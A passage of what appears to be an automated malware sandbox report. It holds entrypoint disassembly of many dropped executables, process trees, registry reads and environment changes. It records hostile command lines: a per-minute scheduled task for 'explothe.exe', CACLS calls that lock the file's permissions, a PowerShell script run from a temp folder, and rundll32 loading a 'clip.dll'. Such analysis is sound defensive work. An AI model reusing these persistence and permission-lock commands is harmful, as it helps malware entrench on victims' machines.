edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "nalo.exe" file has an entrypoint instructions - "call 0x40b191,jmp 0x40a9e9,push ebp,mov ebp, esp,jmp 0x40ab87,push dword ptr [ebp + 8],call 0x417023,pop ecx,test eax, eax,je 0x40ab96,push dword ptr [ebp + 8],call 0x412166,pop ecx,test eax, eax,je 0x40ab7a,pop ebp,ret ,cmp dword ptr [ebp + 8], -1,je 0x40b4b5,jmp 0x4088ed,push ebp,mov ebp, esp,push dword ptr [ebp + 8],call 0x40b4d2,pop ecx,pop ebp,ret ,jmp 0x40b4d2,cmp ecx, dword ptr [0x43701c],jne 0x40abc1,ret ,jmp 0x40b4ff,push ebp,mov ebp, esp,test byte ptr [ebp + 8], 1,push esi," "BG0Vi31.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "AN3Bj1Ru.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "sus.exe.bin" file has an entrypoint instructions - "call 0x40b521,jmp 0x40ad89,push ebp,mov ebp, esp,jmp 0x40af27,push dword ptr [ebp + 8],call 0x4173b3,pop ecx,test eax, eax,je 0x40af36,push dword ptr [ebp + 8],call 0x4124f6,pop ecx,test eax, eax,je 0x40af1a,pop ebp,ret ,cmp dword ptr [ebp + 8], -1,je 0x40b845,jmp 0x408c8d,push ebp,mov ebp, esp,push dword ptr [ebp + 8],call 0x40b862,pop ecx,pop ebp,ret ,jmp 0x40b862,cmp ecx, dword ptr [0x43701c],jne 0x40af61,ret ,jmp 0x40b88f,push ebp,mov ebp, esp,test byte ptr [ebp + 8], 1,push esi," "3vp37IO.exe" file has an entrypoint instructions - "call 0x408fe1,jmp 0x408849,push ebp,mov ebp, esp,jmp 0x4089e7,push dword ptr [ebp + 8],call 0x414e73,pop ecx,test eax, eax,je 0x4089f6,push dword ptr [ebp + 8],call 0x40ffb6,pop ecx,test eax, eax,je 0x4089da,pop ebp,ret ,cmp dword ptr [ebp + 8], -1,je 0x409305,jmp 0x40674d,push ebp,mov ebp, esp,push dword ptr [ebp + 8],call 0x409322,pop ecx,pop ebp,ret ,jmp 0x409322,cmp ecx, dword ptr [0x43401c],jne 0x408a21,ret ,jmp 0x40934f,push ebp,mov ebp, esp,test byte ptr [ebp + 8], 1,push esi," "5Vl58Ec.exe" file has an entrypoint instructions - "call 0x414888,jmp 0x41427f,jmp 0x4186fa,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x4273e3,test eax, eax,je 0x41442a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x4145d7,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ec0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "1AG03bS7.exe" file has an entrypoint instructions - "call 0x40a6d1,jmp 0x409f39,push ebp,mov ebp, esp,jmp 0x40a0d7,push dword ptr [ebp + 8],call 0x416563,pop ecx,test eax, eax,je 0x40a0e6,push dword ptr [ebp + 8],call 0x4116a6,pop ecx,test eax, eax,je 0x40a0ca,pop ebp,ret ,cmp dword ptr [ebp + 8], -1,je 0x40a9f5,jmp 0x407e3d,push ebp,mov ebp, esp,push dword ptr [ebp + 8],call 0x40aa12,pop ecx,pop ebp,ret ,jmp 0x40aa12,cmp ecx, dword ptr [0x43601c],jne 0x40a111,ret ,jmp 0x40aa3f,push ebp,mov ebp, esp,test byte ptr [ebp + 8], 1,push esi," "2Jg195qq.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "4xv765hr.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "5jk2WA4.exe" file has an entrypoint instructions - "call 0x414888,jmp 0x41427f,jmp 0x4186fa,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x4273e3,test eax, eax,je 0x41442a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x4145d7,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ec0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "3XP8tA46.exe" file has an entrypoint instructions - "call 0x4014e9,jmp 0x4010c5,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x401286,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40127f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40128b,add edx, 0x28,cmp edx, esi,jne 0x401270,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x401288,push esi,call 0x401a29,test eax, eax,je 0x4012b9,mov eax, dword ptr fs:[0x18],mov esi, 0x42bd74," "1Sf96TF3.exe" file has an entrypoint instructions - "call 0x4014e9,jmp 0x4010c5,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x401286,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40127f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40128b,add edx, 0x28,cmp edx, esi,jne 0x401270,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x401288,push esi,call 0x401a29,test eax, eax,je 0x4012b9,mov eax, dword ptr fs:[0x18],mov esi, 0x42bd74," "clip_1_.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10003e0e,call 0x100041f9,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x10003ccf,add esp, 0xc,pop ebp,ret 0xc,jmp 0x10006e36,push ebp,mov ebp, esp,sub esp, 0xc,lea ecx, [ebp - 0xc],call 0x100035f8,push 0x10014590,lea eax, [ebp - 0xc],push eax,call 0x10004497,int3 ,push ebp,mov ebp, esp,and dword ptr [0x10016a48], 0,sub esp, 0x24,or dword ptr [0x10016004], 1,push 0xa,call 0x1000e0c7,test eax, eax," "6pM65Va.exe" file has an entrypoint instructions - "push 0xac,push 0,push 0x418010,call 0x405070,add esp, 0xc,push 0,call 0x405076,mov dword ptr [0x418014], eax,push 0,push 0x1000,push 0,call 0x40507c,mov dword ptr [0x418010], eax,call 0x405000,mov eax, 0x417088,mov dword ptr [0x418034], eax,call 0x40de30,call 0x40dba1,call 0x40aaa0,call 0x40a329," "6kb5JC6.exe" file has an entrypoint instructions - "push 0xac,push 0,push 0x418010,call 0x405070,add esp, 0xc,push 0,call 0x405076,mov dword ptr [0x418014], eax,push 0,push 0x1000,push 0,call 0x40507c,mov dword ptr [0x418010], eax,call 0x405000,mov eax, 0x417088,mov dword ptr [0x418034], eax,call 0x40de30,call 0x40dba1,call 0x40aaa0,call 0x40a329,"47:T5c2,Observed system executable string:"/C:\ PROGRA~2Vyd* MICROS~1VQt* WindowsSTARTM~1ProgramsVyd*ACCESS~1WINDOW~1WINDOW~1.LNKC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk1SPS1SPSgu7gnmed9w/C:\ PROGRA~2Vyd* MICROS~1VQt* WindowsSTARTM~1ProgramsVyd*ACCESS~1WINDOW~1WINDOW~1.LNKC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk1SPS1SPSgu7gnmed9w/C:\WindowsSystem32WINDOW~1v1.0powershell_ise.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exe1SPS1SPSgu7gnmed9w/C:\Windowshh.exeC:\Windows\hh.exe%systemroot%\hh.exe1SPS1SPSgu7gnmed9w" [Source: J5RCLMPNA3DT55P0E8NX.temp] Observed system executable string:"%WINDIR%\system32\cacls.exe" [Source: 00000000-00002168-00000C41-985798356752] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00002168-00000C41-2647710063744] Observed system executable string:"%WINDIR%\system32\cmd.exe /S /D /c" echo Y"" [Source: 00000000-00002168-00000C41-2647710063744] Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00002416-00000C28-3140007993719]48:T14fc,Process "iu7rW97.exe" (UID: 00000000-00000400) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess WRPMitigationLayer"" Process "cmd.exe" (UID: 00000000-00002592) was launched with new environment variables: "PROMPT="$P$G"" Process "6kb5JC6.exe" (UID: 00000000-00003956) was launched with missing environment variables: "PROMPT" Process "cacls.exe" (UID: 00000000-00003288) was launched with new environment variables: "PROMPT="$P$G"" Process "powershell.exe" (UID: 00000000-00002416) was launched with modified environment variables: "Path" Process "powershell.exe" (UID: 00000000-00002416) was launched with missing environment variables: "PROMPT" Process "cmd.exe" (UID: 00000000-00002788) was launched with new environment variables: "b2eincfilepath="%TEMP%\IXP000.TMP"" Process "cmd.exe" (UID: 00000000-00002788) was launched with modified environment variables: "Path" Process "explothe.exe" (UID: 00000000-00002932) was launched with new environment variables: "PSExecutionPolicyPreference="RemoteSigned"" Process "explothe.exe" (UID: 00000000-00002932) was launched with modified environment variables: "PSModulePath, Path" Process "explothe.exe" (UID: 00000000-00002932) was launched with missing environment variables: "__COMPAT_LAYER, b2eincfilepath" Process "rundll32.exe" (UID: 00000000-00002988) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess WRPMitigationLayer"" Process "rundll32.exe" (UID: 00000000-00002988) was launched with modified environment variables: "PSModulePath, Path" Process "rundll32.exe" (UID: 00000000-00002988) was launched with missing environment variables: "PSExecutionPolicyPreference" Process "cacls.exe" (UID: 00000000-00003624) was launched with new environment variables: "PROMPT="$P$G"" Process "sus.exe" (UID: 00000000-00003012) was launched with missing environment variables: "PROMPT" Process "iexplore.exe" (UID: 00000000-00003060) was launched with new environment variables: "PROMPT="$P$G", b2eincfilepath="%TEMP%\IXP000.TMP"" Process "iexplore.exe" (UID: 00000000-00003060) was launched with modified environment variables: "Path" Process "gk7GM2iR.exe" (UID: 00000000-00002068) was launched with modified environment variables: "Path" Process "gk7GM2iR.exe" (UID: 00000000-00002068) was launched with missing environment variables: "PROMPT, b2eincfilepath" Process "explothe.exe" (UID: 00000000-00003016) was launched with missing environment variables: "__COMPAT_LAYER" Process "iexplore.exe" (UID: 00000000-00001812) was launched with new environment variables: "PROMPT="$P$G", __COMPAT_LAYER="ElevateCreateProcess WRPMitigationLayer", b2eincfilepath="%TEMP%\IXP000.TMP"" Process "iexplore.exe" (UID: 00000000-00001812) was launched with modified environment variables: "Path" Process "nalo.exe" (UID: 00000000-00003440) was launched with modified environment variables: "Path" Process "nalo.exe" (UID: 00000000-00003440) was launched with missing environment variables: "PROMPT, b2eincfilepath" Process "iexplore.exe" (UID: 00000000-00003448) was launched with new environment variables: "PROMPT="$P$G", b2eincfilepath="%TEMP%\IXP000.TMP"" Process "iexplore.exe" (UID: 00000000-00003448) was launched with modified environment variables: "Path" Process "tL3sv5VH.exe" (UID: 00000000-00001448) was launched with modified environment variables: "Path" Process "tL3sv5VH.exe" (UID: 00000000-00001448) was launched with missing environment variables: "PROMPT, b2eincfilepath" Process "iexplore.exe" (UID: 00000000-00004092) was launched with new environment variables: "PROMPT="$P$G", b2eincfilepath="%TEMP%\IXP000.TMP"" Process "iexplore.exe" (UID: 00000000-00004092) was launched with modified environment variables: "Path" Process "RK6Ko1mo.exe" (UID: 00000000-00001328) was launched with modified environment variables: "Path" Process "RK6Ko1mo.exe" (UID: 00000000-00001328) was launched with missing environment variables: "PROMPT, b2eincfilepath" Process "iexplore.exe" (UID: 00000000-00002856) was launched with new environment variables: "PROMPT="$P$G", b2eincfilepath="%TEMP%\IXP000.TMP"" Process "iexplore.exe" (UID: 00000000-00002856) was launched with modified environment variables: "Path" Process "AN3Bj1Ru.exe" (UID: 00000000-00003836) was launched with modified environment variables: "Path" Process "AN3Bj1Ru.exe" (UID: 00000000-00003836) was launched with missing environment variables: "PROMPT, b2eincfilepath" Process "iexplore.exe" (UID: 00000000-00002072) was launched with new environment variables: "PSExecutionPolicyPreference="RemoteSigned"" Process "iexplore.exe" (UID: 00000000-00002072) was launched with modified environment variables: "PSModulePath, Path" Process "iexplore.exe" (UID: 00000000-00002072) was launched with missing environment variables: "__COMPAT_LAYER" Process "explothe.exe" (UID: 00000000-00002588) was launched with modified environment variables: "PSModulePath, Path" Process "explothe.exe" (UID: 00000000-00002588) was launched with missing environment variables: "PSExecutionPolicyPreference" Process "2Jg195qq.exe" (UID: 00000000-00003464) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess WRPMitigationLayer"" Process "explothe.exe" (UID: 00000000-00000364) was launched with missing environment variables: "__COMPAT_LAYER"49:T844,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "iu7rW97.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "iu7rW97.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "WW5pa33.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "WW5pa33.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "ob8Cl01.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "ob8Cl01.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "BG0Vi31.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "BG0Vi31.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1AG03bS7.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "1AG03bS7.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "2Pn4733.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "2Pn4733.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "3vp37IO.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "3vp37IO.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "4xv765hr.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "4xv765hr.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "4xv765hr.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "4xv765hr.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN")4a:T435,Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 00001000.000003E8.1188080.00050000.wprm] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00002748-00000BC1-23738097] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00000400-00000BC1-24187995] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00003592-00000BC1-24627747] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00000484-00000BC1-25156587] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"" [Source: 00000000-00003456-00000BC1-25426300] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00002416-00000C28-3219232513647]4b:T7f8,Spawned process "iu7rW97.exe" (UID: 00000000-00000400) Spawned process "WW5pa33.exe" (UID: 00000000-00003592) Spawned process "ob8Cl01.exe" (UID: 00000000-00000484) Spawned process "BG0Vi31.exe" (UID: 00000000-00003456) Spawned process "1AG03bS7.exe" (UID: 00000000-00003244) Spawned process "AppLaunch.exe" (UID: 00000000-00001000) Spawned process "2Pn4733.exe" (UID: 00000000-00001344) Spawned process "3vp37IO.exe" (UID: 00000000-00002508) Spawned process "AppLaunch.exe" (UID: 00000000-00001532) Spawned process "4xv765hr.exe" (UID: 00000000-00002132) Spawned process "5jk2WA4.exe" (UID: 00000000-00002380) Spawned process "explothe.exe" (UID: 00000000-00002124) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN explothe.exe /TR "%TEMP%\\fefffe8ce ..." (UID: 00000000-00002644), Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "explothe.exe" /P "geZfVrO:N"&&CACLS "explothe.e ..." (UID: 00000000-00002168) Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00000000-00002592) Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "geZfVrO:N"" (UID: 00000000-00001196) Spawned process "6kb5JC6.exe" (UID: 00000000-00003956) Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "geZfVrO:R" /E" (UID: 00000000-00003288) Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00000000-00002428) Spawned process "powershell.exe" with commandline "-executionpolicy remotesigned -File "%TEMP%\\1000030041\\2.ps1"" (UID: 00000000-00002416) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\62B8.tmp\\62B9.tmp\\62CA.bat %TEMP%\\IXP000.TMP\\6kb ..." (UID: 00000000-00002788), Spawned process "explothe.exe" (UID: 00000000-00002932), Spawned process "rundll32.exe" with commandline "%APPDATA%\\006700e5a2ab05\\clip.dll Main" (UID: 00000000-00002988), Spawned process "cacls.exe" with commandline "CACLS "..\\fefffe8cea" /P "geZfVrO:N"" (UID: 00000000-00003624), Spawned process "sus.exe" (UID: 00000000-00003012)4c:T7f8,Spawned process "iu7rW97.exe" (UID: 00000000-00000400) Spawned process "WW5pa33.exe" (UID: 00000000-00003592) Spawned process "ob8Cl01.exe" (UID: 00000000-00000484) Spawned process "BG0Vi31.exe" (UID: 00000000-00003456) Spawned process "1AG03bS7.exe" (UID: 00000000-00003244) Spawned process "AppLaunch.exe" (UID: 00000000-00001000) Spawned process "2Pn4733.exe" (UID: 00000000-00001344) Spawned process "3vp37IO.exe" (UID: 00000000-00002508) Spawned process "AppLaunch.exe" (UID: 00000000-00001532) Spawned process "4xv765hr.exe" (UID: 00000000-00002132) Spawned process "5jk2WA4.exe" (UID: 00000000-00002380) Spawned process "explothe.exe" (UID: 00000000-00002124) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN explothe.exe /TR "%TEMP%\\fefffe8ce ..." (UID: 00000000-00002644), Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "explothe.exe" /P "geZfVrO:N"&&CACLS "explothe.e ..." (UID: 00000000-00002168) Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00000000-00002592) Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "geZfVrO:N"" (UID: 00000000-00001196) Spawned process "6kb5JC6.exe" (UID: 00000000-00003956) Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "geZfVrO:R" /E" (UID: 00000000-00003288) Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00000000-00002428) Spawned process "powershell.exe" with commandline "-executionpolicy remotesigned -File "%TEMP%\\1000030041\\2.ps1"" (UID: 00000000-00002416) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\62B8.tmp\\62B9.tmp\\62CA.bat %TEMP%\\IXP000.TMP\\6kb ..." (UID: 00000000-00002788), Spawned process "explothe.exe" (UID: 00000000-00002932), Spawned process "rundll32.exe" with commandline "%APPDATA%\\006700e5a2ab05\\clip.dll Main" (UID: 00000000-00002988), Spawned process "cacls.exe" with commandline "CACLS "..\\fefffe8cea" /P "geZfVrO:N"" (UID: 00000000-00003624), Spawned process "sus.exe" (UID: 00000000-00003012)4d:T7a6,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "angel_1_.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "foto2552_1_.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "iu7rW97.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "gk7GM2iR.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "WW5pa33.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "tL3sv5VH.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "ob8Cl01.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "RK6Ko1mo.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "nalo.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "BG0Vi31.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "AN3Bj1Ru.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "sus.exe.bin" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "3vp37IO.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "5Vl58Ec.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "1AG03bS7.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "2Jg195qq.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "4xv765hr.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "5jk2WA4.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "3XP8tA46.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "1Sf96TF3.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "clip_1_.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "6pM65Va.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "6kb5JC6.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE4e:T2f66,"angel_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "foto2552_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "iu7rW97.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\iu7rW97.exe]- [targetUID: 00000000-00000400] "urlref_httpswww.youtube.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "gk7GM2iR.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\gk7GM2iR.exe]- [targetUID: 00000000-00002884] "WW5pa33.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\WW5pa33.exe]- [targetUID: 00000000-00000400] "tL3sv5VH.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\tL3sv5VH.exe]- [targetUID: 00000000-00001448] "urlref_httpsaccounts.google.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] 